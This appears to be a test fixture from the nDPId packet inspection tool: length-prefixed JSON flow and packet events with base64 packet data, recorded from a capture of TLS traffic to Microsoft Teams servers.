+00439{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":362386,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG93bAqAEGNHJNIex0AbuczSMnAAAAALAC\/\/99oQAAAgQFtAEDAwUBAQgKMISXcQAAAAAEAgAA"} +00434{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":405623,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8L\/5AAGwGm3w0ck0hwKgBBgG77HRJoiConM0jKKASIABWrQAAAgQFoAEDAwgEAggKYQZMqDCEl3E="} +00421{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":405727,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex0AbuczSMoSaIgqYAQEAmVMgAAAQEICjCEl5xhBkyo"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":15,"source":"teams.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1587041676435,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60533,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":435900,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGghTAqAEGNHHChOx1AbsuhcJCAAAAALAC\/\/\/XIQAAAgQFtAEDAwUBAQgKMISXugAAAAAEAgAA"} +00423{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":448366,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0CixAAHUGQvQ0ccKEwKgBBgG77HWQGjC4LoXCQ4AS\/\/8WpAAAAgQFoAEDAwgBAQQC"} +00405{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":448463,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOx1AbsuhcJDkBowuVAQIAA3YwAA"} +00689{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":449862,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"EBMx8Tl2KDc3AG3ICABFAAD6AABAAEAGgVrAqAEGNHHChOx1AbsuhcJDkBowuVAYIAChLwAAFgMBAM0BAADJAwMtfzNr5sJ0vwUnIfI3TV9sTsGbPpwfZOWfmMdYc+2laQAAHLq6zKnMqMArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACEuroAAP8BAAEAAAAAGAAWAAATdGVhbXMubWljcm9zb2Z0LmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACNraAB0AFwAYABsAAwIAAnp6AAEA"} +00730{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":18,"source":"teams.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1587041676435,"flow_last_seen":1587041676449,"flow_tot_l4_data_len":326,"flow_min_l4_data_len":20,"flow_max_l4_data_len":230,"flow_avg_l4_data_len":81,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60533,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"teams.microsoft.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00413{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":462228,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAoCi1AAHYGQf80ccKEwKgBBgG77HWQGjC5LoXDFVAQCAROjQAAAAAAAAAA"} +02368{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":463856,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUCi5AAHYGPFI0ccKEwKgBBgG77HWQGjC5LoXDFVAQCAQshQAAFgMDF4QCAABmAwNemFWMOwvyyx98MPDpobiZrVYPHPwmzf3\/rqSZvCgYpiAgPgAA6ItZFOaiSOVhga+svmIZUZRfrWAIsMqwTIVN78AwAAAeAAUAAAAjAAAAEAAFAAMCaDIAFwAA\/wEAAQAAAAAACwAOdgAOcwAItTCCCLEwggaZoAMCAQICExYACfRizWOR6fGx5P0AAAAJ9GIwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA0MB4XDTE5MDkxMjE4MTY0NVoXDTIxMDkxMjE4MTY0NVowHjEcMBoGA1UEAxMTdGVhbXMubWljcm9zb2Z0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOO+GAF5FB9ACneJsYJqU+PaAkwhs3Pmnh9LB9B35XWkyrIOYraOvvuhrHxhFcxbMuiVa3ke581gm0OvyNFkH2vhqLGtQ51IvKov0oZNIk4rt1kgisStRRDSjUTgKLPQ44s9fKS9qz\/Va1Q2\/LQEZQNYdKcaI2nANY2RmggVm7Aa\/Dx1r4sJ2SJmuRoiN6m9zGBwTorEnL9Q2Qy5FB5\/iaYy2JMNbemS7IbV+TczygQFu\/QwI3ZrqvbUGdtEzDIOU7YZXOmC6UcqvvcY0rIuNd65HCSFAv0X9ivVh0LGDegTyjuqKz68YmBI\/eJFXu94jw\/tEDwiIAZfs4Qk12UiGJsCAwEAAaOCBHgwggR0MIIB9QYKKwYBBAHWeQIEAgSCAeUEggHhAd8AdQDuS723dc5guuFCaR+r4Z5mow9+X7By2IMAxHuJeqj9ywAAAW0mulFVAAAEAwBGMEQCIHebEsXaxq31cmEfhRo\/gehRDe\/E1VvIxKmBjiYm513RAiBg9lvKKuXFDabtrglkBNY11LNgy+HL5dblDYVf8MIppAB2APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABbSa6UVUAAAQDAEcwRQIhAOXf5ZJgk7Qqrx2VlFvAiEAHVXnD3mS7WxPkEHf9oGczAiA4\/Ss\/FGYnu0+Vqu\/igskDlNIA5yQpWRpemVD\/90ZvtAB2AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABbSa6UqQAAAQDAEcwRQIhAOcvU5U2Fi9LD1ckKACgnV\/R4RUZapoJoV\/V8Nkdsox8AiB+s48woDYS2UZcbGfro+s0PlMOsyBbDvpNcsr42cSgwgB2AFzcQ5L+5qtFRLFemtRW5hA3+9X6R9yhc5SyXub2xw7KAAABbSa6UYEAAAQDAEcwRQIhAIBIEv6AY07+qXpuv9wKUq5PN5rdrOhWtdzhJm8jXedKAiBSHHhgI9NvoD6YhCpK3V\/Qif41w296yUSCK7eujn89vzAnBgkrBgEEAYI3FQoEGjAYMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMBMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCIfahnWD7tkBgsmFG4G1nmGF9OtggV2E0t9CgueTegIBZAIBHTCBhQYIKwYBBQUHAQEEeTB3MFEGCCsGAQUFBzAChkVodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcnQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLm1zb2NzcC5jb20wHQYDVR0OBBYEFCbjW3RNU09jtsrWbR3zyYhJ"} +02358{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":464089,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUCi9AAHYGPFE0ccKEwKgBBgG77HWQGjZlLoXDFVAQCASK9wAAxC7UMAsGA1UdDwQEAwIEsDAeBgNVHREEFzAVghN0ZWFtcy5taWNyb3NvZnQuY29tMIGsBgNVHR8EgaQwgaEwgZ6ggZuggZiGS2h0dHA6Ly9tc2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA0LmNybIZJaHR0cDovL2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA0LmNybDBNBgNVHSAERjBEMEIGCSsGAQQBgjcqATA1MDMGCCsGAQUFBwIBFidodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcHMwHwYDVR0jBBgwFoAUenuMwc\/noMoc1Gv6++Ezww8aop0wHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4ICAQAjJY5eD13an7Bpx5xxIqIPAsj0wiAkSQlVHG2eWn1U7EMYkaYNm1bcZdbxatFHak6SPpDF\/BFWOAuxpq29sjki83Ws\/tIbRtncE4DVkv23fvgeWG2G8sq5qx4c5qA830fqmXSktLgOpsdgmBaOYSsTY0x33dUHa4NMN17Lj60Gsd3yzeSYx7BQkMQJ\/V8Vdknwzcy4ja6ZEHFlhJa7naHWvheu4dpEV12l\/I7XnKJj3AvK6V0oRh9ztLUCO5SEw\/4IchbkuDrjeM7N7xqdsbAB+zxItuIRkK6NPYNfq2P1YcBIYP\/55E1YA\/2W2kVT3L2yJ3TBXNrhGw8kxGBtYIUDJYcydM9DjdbmXfvOOXkrLnLmQLDNp1UY2giyd1SVy6dmyy4UPGdKMrUjUJxLeLEth\/qlHwMQ78rdVWdoP1WKC\/rLalfyuTCeXW4p3qIF7Av0WcDgkUyDRhNrOo0xzsIbxL1KpcpwCXtJW8Gn3LPsecGEsCzZJ4Oio5x7suMWRhIOATNYjrQKjkP5yhS6WUM11anpHQdizI1hSi0Dsn9iu9KVNBmLjAhQpIWNLvziKckaPyFYM8Jju2yhenSjGdxKE8kwLk8CNf9zLVQ456aLfF9ge8FhSE9Tl8aBpIGGPaqGtl414VBcDE1HXqCtckuHxFFd2OvG07l2FddY0bGOrgAFuDCCBbQwggScoAMCAQICEAtqs7A+san2xGCSaqjN\/rMwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVyVHJ1c3QgUm9vdDAeFw0xNjA1MjAxMjUyMzhaFw0yNDA1MjAxMjUyMzhaMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNDCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKvl612jazme9TSIErsdUiZdfQkLxnmOq7cO3xmy3e4P9u70VuRG4pIP4mcL4xxxpNRBc7TLmRaOv3d9sK8ebO1xLsMId0pekq7sWtBIgdDF6aD1eo8ejV7TrZLA2saRNTEguTkEzRAqPJcdAJ6ZGBgJz0uX5Mn8APAMWp026LJAwUqshCiqPUYYK6eKrPSvS6h+SULHYiDA5qc7XeuQH7uK2JyQ4zqxbMKUzj4ya8txs0EuucXhXdhZJ4L74UgNfugE8fkBJ0H6lFp9xTC7"} +00405{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":464151,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOx1AbsuhcMVkBo8EVAQH9IrZwAA"} +02367{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":464343,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUCjBAAHYGPFA0ccKEwKgBBgG77HWQGjwRLoXDFVAQCATA1wAAtrrXEZuI+gHMbkuSufh4PMucaJoWZojQk7Aqgy6XER1+gSBh5LC5m5xuU5WVIsbZvXUQutl1jDw\/HdCW+DNFe3sfVDPlSJenBSSi29Hcla4gKn2WiUh7knrQJLHeSBH3Zzy03\/hYYPVPezRo5v2sJgi28yxD20\/EFtCbDHGHsQdrht2PoLH7ZtrYy+ny8GXljtgc6i+6LWTxXtAbULIMhUrPO8guKmp1jMCuXNnpwHx9fNqc471KsGAHgit9XcgQry5ijNya\/eHZuVlIl0Iaw1CBCx+DImvkm7wpIoL9gFFcdV8ONcLdfy96Z589jluMu6+d9MwM+6gfnSHB8+dSGl3OFFdtULhJ7rELJ9LiaScSbsbAJj7npCsbi1M4BvoahzrgS3+ZFk5ZPVlp8XGnZWUbAgMBAAGjggFCMIIBPjAdBgNVHQ4EFgQUenuMwc\/noMoc1Gv6++Ezww8aop0wHwYDVR0jBBgwFoAU5Z1ZMIJHWMys+ghUNoZ7OrUETfAwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwJwYDVR0lBCAwHgYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDCTA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vT21uaXJvb3QyMDI1LmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzANBgkqhkiG9w0BAQsFAAOCAQEAEf5yBjohCjduyPUpIgJinkUO7foGn++\/niQ1F\/45iLK7AeF439GLl\/23d\/GKck9JOuizKdd0h+S58xdgh4iSVYK92X0TSH8GkDqJZuedlveVzWAP1+HK9nbu+ps1SKGYfdKTKk+BFseolrvRJfOmb1DaAJsqqPQ1AOP9LDvt5RWbfxYPx47JNiCU8B0BuRJQUJmB4ChCLI54\/+3GntXkyumgqrNIT6Rf5IsY\/xMCLZARNhhmKDoimt6V8Vnun20qF3WTUMMFEtXeZLS2vNvXdln+pdblVuH+Rlw7ivjsDvvvEpCRziASgbo8UuN\/40D0DEEgZocY2jJp4PbcjyjyvRYABysBAAcnMIIHIwoBAKCCBxwwggcYBgkrBgEFBQcwAQEEggcJMIIHBTCBx6IWBBSf5XT0Ei8HGSR2kg+kjipmqRRaChgPMjAyMDA0MTQxNzQyNTNaMIGbMIGYMEwwCQYFKw4DAhoFAAQUIq8AHIB1Ygcm4MiTGuynQhwyEjoEFHp7jMHP56DKHNRr+vvhM8MPGqKdAhMWAAn0Ys1jkenxseT9AAAACfRigAAYDzIwMjAwNDE0MTc0MjUzWqARGA8yMDIwMDQxODE3NDI1M1qhIjAgMB4GCSsGAQUFBzABBgQRGA8yMDE5MDQxNTE3NDI1M1owDQYJKoZIhvcNAQELBQADggEBAGlk67Jed\/sp+WACNyn5PUUCNwjOEeSke0b79rtlfnnsSw96zwY2F9SV5Z+xW\/rcmSBDX3jg2nQuBEYA9Wvb9+nT6wkNSZ3ZaRWaif7D80Ixt0ABQToOKkrnaoitWqZpliCv6hPQ4FHx6fGtYnAq9q9N56uOy4CZ9I0jDblf\/FnYz8D+zATdvR\/f7OM1VEn4zgnDtJwqmkl+FEoMVdKQXenp1svVvECDF\/6TxBHv2VWGT71GDA66oH2k3FZzUb2W\/Ysq9qJqUK7mRSkWU4IlWh1O8jlIgWYtMhV8J8LVkHQPJqf4uSK+b07ApUiDUHFCRtKk0kiUZ7zJzQtTzquptSagggUjMIIFHzCCBRswggMDoAMC"} +00406{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":464401,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOx1AbsuhcMVkBpBvVAQIAAljQAA"} +02367{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":464457,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUCjFAAHYGPE80ccKEwKgBBgG77HWQGkG9LoXDFVAQCAQqtQAAAQICE3gAErJ3YfnO2ox+\/bwAAAASsncwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA0MB4XDTIwMDMxNTE1MzUzOVoXDTIxMDMxNTE1MzUzOVowKzEpMCcGA1UEAwwgTWljcm9zb2Z0X0lUX1RMU19DQV80X0tleUJpbmRpbmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDAEyAX+5SqsGiqoUBRMLbUF1MOQcsxK8kPSKDVxGywx62TXqosok\/w8WIw51eitl2x7hGoq0+h3f95iPllxy7yEMgH7qmedNRiuGxRK+fAa5MH9aVtlomaFyqBArysde41\/HXuL4UW4GtwiAkT5ExgE2wHYEV7T5X03YsAWWM3JKQwMjB+rXZkft+Uk5MWL\/cJto5+yML0QwJr2wL9Ak66bKsuEMnGd8UzoAOAp5Rk0DmxRztNTjl\/lZ2ntFXsAyJALx3q0EDreLw0q2SftDOieUHmNsOvbAPjYsWKtDXayhXR0gqkwAbamSUrmFXf6QE7XDQuHTRyG7d\/srUScNlDAgMBAAGjgdYwgdMwHQYDVR0OBBYEFJ\/ldPQSLwcZJHaSD6SOKmapFFoKMA4GA1UdDwEB\/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDCTAPBgkrBgEFBQcwAQUEAgUAMB8GA1UdIwQYMBaAFHp7jMHP56DKHNRr+vvhM8MPGqKdMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCIfahnWD7tkBgsmFG4G1nmGF9OtggV2BzJtHgcjpFgIBZAIBBzAbBgkrBgEEAYI3FQoEDjAMMAoGCCsGAQUFBwMJMA0GCSqGSIb3DQEBCwUAA4ICAQBQf\/nlSogs2KaMuQIKX+dZl6u\/fN4stOkBATIA+8WfgJ+qNyF20yCllnRhbqa4pd5JTrRYGJZhGA7agazmyim9wGvV0HcHxLLN3oNZBP5gF5jLC0IqxgJEvTiyy1\/1wYRdtr+SpcKNi2ZCac3x7voBvsf3YH\/f1jAp2zQ87qKhRy1PmcUkJdsJR2OnkYNgdR6oPKCsPkPve+qZXjBdfEVjq9duYM1IFFq0MYXUlFCy8YhnxEcasx4mCnA6B14O98ewaSZZhGaP6Py\/67LRhuWf36qXptvXI8bFJZEld25A5aR+COHvYWrlWmmfie3I9YEeDGTVodHmHxesLeBLQQmxpuZgnJ1eZYwSS2g4bPN+OSonsgPlHLzmBJcUpzxJl3mgtcjyN+2OgF46A4V1ENucCVGdLYjsbo\/kk6U7V0KiqERMGjIUeUVMt9tfNUf6xYXUsVOKsIfNcAMbDiCO2hf6q+1nKxCJw6p0qsB1ANlzJi00XH17tvsddvABkR26jQRxWpc1ck4l6ErNYoE186dUnlcdlKjaIHU4jQ4CS6fS1HuZFQD6VdPpfAFSv8BxzC46PHD4wMhUHF2gx9Kp9\/ATrborJ6OxeXVS1Ba+IQzGX6MpVsGiH22VzumR7tEvftwy0MX7pfN+X9yHBrJmVvFG4s6d6wUOHM9cT9DziFvLgAwAAWkDABhhBEOupEe2\/wMMEK1iMM54UEoH8unxhtj8WYzN80k6LTIvPHF\/E25mwBrd3Ddc+3TTzEaMPjU0+M1XvIyvzj\/A5sXKLwcCblI6sSI+xP6Em1WR2E8sGgWJwUQhIVnRVHu17gQBAQA2v2zCtIQ6w5Ob9q9XSh\/Bog29dyX+eHSPzY16LHjE96ewrDw0qMexSBDw"} +00706{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":464459,"pkt_caplen":271,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":271,"pkt_l4_len":237,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEBCjJAAHYGQSE0ccKEwKgBBgG77HWQGkdpLoXDFVAYCAScCwAAzjPbh60Ymm0tjFk6kKgrED9s6hrOYY5pNu9VYrK5pPgxrSAhNhst5\/5\/8MVEhARh014b8CQkuIP\/vDOZQPpfBPopVpmJQj7JuxbLB4RkMuq3bvko5Pv44o\/CEkLjRMQz4fOj+fCfq6EDg08bLmY27izuXnzUyg6CsISBPAsldliaS9FIdEgJKTmeAjW1uvY2xcoz9nx4cyxTpSxEiJpA4aFIkpyBYWDmjthHymsU\/xnc8dTEutTFR+vDoTJfm4wIDWbSvwIBoMC53HPI8+MWGNP49ra7DgAAAA=="} +01049{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":26,"source":"teams.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":12,"flow_first_seen":1587041676435,"flow_last_seen":1587041676464,"flow_tot_l4_data_len":6511,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":542,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60533,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"teams.microsoft.com","server_names":"teams.microsoft.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"0f14538e1c9070becdad7739c67d6363","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","issuerDN":"CN=teams.microsoft.com","alpn":"h2,http\/1.1","fingerprint":"68:1E:E8:3C:83:70:6F:E3:86:F4:E8:8C:C4:E6:A0:9A:3E:E0:9C:0E"}} +00406{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":464500,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOx1AbsuhcMVkBpIQlAQH8sfPQAA"} +00624{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":469351,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"EBMx8Tl2KDc3AG3ICABFAADGAABAAEAGgY7AqAEGNHHChOx1AbsuhcMVkBpIQlAYIABMRAAAFgMDAGYQAABiYQRucgjp+M009+y7BfrWGJrcaVoux\/RH354hUT9jM7kfyxIcTlbdGetTxtE3\/iG2szAPJokY+ykEqiJVfPaADPdlT4ze\/rZ3TdQ75xvFCAZrXljZeVoJBMqQeQJ6WRkIuLoUAwMAAQEWAwMAKAAAAAAAAAAATwxUzwoKZVac8SgD+A7mr6xxWyeSVP1XG1iEDvtSuCM="} +00414{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":481000,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAoCjNAAHYGQfk0ccKEwKgBBgG77HWQGkhCLoXDs1AQCAM2ZwAAAAAAAAAA"} +00660{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":499766,"pkt_caplen":240,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":240,"pkt_l4_len":206,"pkt":"EBMx8Tl2KDc3AG3ICABFAADiAABAAEAG9tTAqAEGNHJNIex0AbuczSMoSaIgqYAYEAlcWgAAAQEICjCEl\/VhBkyoFgMBAKkBAAClAwNgsc\/zVfk3fJaoeGVjBvcvXHJydxa1mwDEXFImXbQK\/wAAHsAvwCvAMMAszKnMqMAJwBPACsAUAJwAnQAvADUACgEAAF7\/AQABAAAAACMAIQAAHm1vYmlsZS5waXBlLmFyaWEubWljcm9zb2Z0LmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAs